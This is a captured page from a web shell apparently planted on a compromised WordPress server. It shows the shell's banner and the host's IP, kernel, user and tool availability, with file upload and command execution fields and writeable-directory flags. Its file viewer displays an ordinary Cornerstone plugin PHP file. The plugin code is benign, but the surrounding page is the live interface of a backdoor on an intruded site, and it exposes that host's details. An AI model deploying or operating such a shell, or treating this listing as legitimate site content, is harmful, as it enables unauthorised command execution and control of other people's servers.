403Webshell
Server IP : 172.67.159.97  /  Your IP : 216.73.217.154
Web Server : nginx/1.24.0
System : Linux wordpress-sites 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/classes/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rebeccaone.com/wp-content/plugins/cornerstone/includes/classes/Services/WpCli.php
<?php

namespace Themeco\Cornerstone\Services;

use Themeco\Cornerstone\WpCli\Commands;

class WpCli implements Service {

  public function setup() {

    if ( !class_exists( 'WP_CLI' ) ) {
      return;
    }

    \WP_CLI::add_command( 'cs', Commands::class );

    $themeRoot = CS_ROOT_PATH . '../';

    // Running in standalone mode
    if (!file_exists($themeRoot . 'style.css')) {
      return;
    }

    $frameworkRoot = $themeRoot . 'framework/';

    // Double Check
    if (!file_exists($frameworkRoot . 'legacy/functions/admin/class-validation.php')) {
      trigger_error('Trying to update X or Pro themes from Cornerstone when they are not installed');
      return;
    }

    require_once($frameworkRoot . 'legacy/functions/admin/class-validation.php');
    require_once($frameworkRoot . 'legacy/functions/admin/class-validation.php');
    require_once($frameworkRoot . 'legacy/functions/updates/class-theme-updater.php');
    require_once($frameworkRoot . 'legacy/functions/updates/class-plugin-updater.php');
    require_once($frameworkRoot . 'legacy/functions/admin/class-validation-updates.php');
    require_once($frameworkRoot . 'legacy/functions/admin/class-validation-extensions.php');
    require_once($frameworkRoot . 'legacy/functions/admin/class-validation-theme-options-manager.php');
    require_once($frameworkRoot . 'legacy/functions/admin/setup.php');

    $plugin_updater = new \X_Plugin_Updater;
    $theme_updater = new \X_Theme_Updater;

    add_filter( 'site_transient_update_plugins', [$plugin_updater, 'pre_set_site_transient_update_plugins']);
    add_filter( 'site_transient_update_themes', [$theme_updater, 'pre_set_site_transient_update_themes']);
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit